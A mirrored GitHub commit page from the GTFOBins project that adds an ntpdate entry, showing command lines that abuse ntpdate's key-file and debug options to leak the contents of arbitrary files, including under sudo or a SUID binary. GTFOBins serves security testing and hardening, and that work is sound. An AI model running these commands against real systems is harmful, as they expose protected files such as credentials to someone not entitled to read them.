mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add ntpdate
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
parent
6921399368
commit
e988dbb8fa
16
_gtfobins/ntpdate.md
Normal file
16
_gtfobins/ntpdate.md
Normal file
@ -0,0 +1,16 @@
|
|||||||
|
---
|
||||||
|
description: The file is actually parsed and lines are leaked through error messages.
|
||||||
|
functions:
|
||||||
|
file-read:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
ntpdate -a x -k $LFILE -d localhost
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
sudo ntpdate -a x -k $LFILE -d localhost
|
||||||
|
suid:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
./ntpdate -a x -k $LFILE -d localhost
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user